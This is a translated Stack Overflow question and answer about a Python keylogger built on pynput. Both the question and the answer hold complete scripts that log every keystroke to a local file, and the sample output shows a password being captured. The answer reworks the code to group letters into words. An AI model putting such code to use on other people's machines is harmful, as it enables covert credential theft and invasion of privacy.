【问题标题】:How to combine output in single line in a key-logger program?如何在键盘记录程序中将输出组合成单行?
【发布时间】:2018-05-07 17:37:54
【问题描述】:
from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/noswear/Desktop/Mail/"

logging.basicConfig(filename = (log_dir + "key_log.txt"),level = logging.DEBUG, format  = '%(asctime)s:%(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press = on_press) as listener:
    listener.join()

上面的程序给出这样的输出:

2018-05-07 20:54:56,020:'m'
2018-05-07 20:54:57,010:Key.backspace
2018-05-07 20:55:00,192:'p'
2018-05-07 20:55:00,366:'a'
2018-05-07 20:55:00,485:'s'
2018-05-07 20:55:00,695:'s'
2018-05-07 20:55:01,432:'w'
2018-05-07 20:55:01,653:'o'
2018-05-07 20:55:01,857:'r'
2018-05-07 20:55:02,056:'d'

我怎样才能按分钟组合在一起,一分钟内的所有击球都存储在一行中?

类似的东西

2018-05-07 20:54:mKey.backspace
2018-05-17 20:55:password

【问题讨论】:

  • 也许在“def on_press”之前定义一个字符串,在on_press上连接字符串,然后在一分钟后调用join?定义一个计时器,把它叫出来?
  • 也许你可以通过连接所有字母来解决这个问题,当出现空格或特殊字符时将它们分开

标签: python keystroke keylogger pynput


【解决方案1】:

恕我直言:用时间来判断有点难,用文字来解读有点难看,但想想如果你以后想处理的话,用文字来处理会更容易。这只是一个建议!

from pynput.keyboard import Key, Listener
import logging

chain = ""

logging.basicConfig(filename = ("key_log.txt"),level = logging.DEBUG,     format  = '%(asctime)s:%(message)s')

def on_press(key):
    global chain
    k = str(key)
    if(k[0:2] == "u'"): # using the pattern that pynput uses we can determine when a letter is pressed
        chain += k[2:3]
    else:
        logging.info(str(chain) + " " + k)
        chain = "" # set the chain again to empty


with Listener(on_press = on_press) as listener:
    listener.join()

【讨论】:

  • 感谢您的回答。没想到会这么难。现在我只是在另一个程序中调用带有日志的文件并暂时在那里操作字符串。
  • 问题不是很难,而是你可能有一个记录有很多单词和特殊键,而另一个只有几个字母或特殊键......您想用程序阅读它,或者当您想创建一个程序来阅读它时。问候!
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多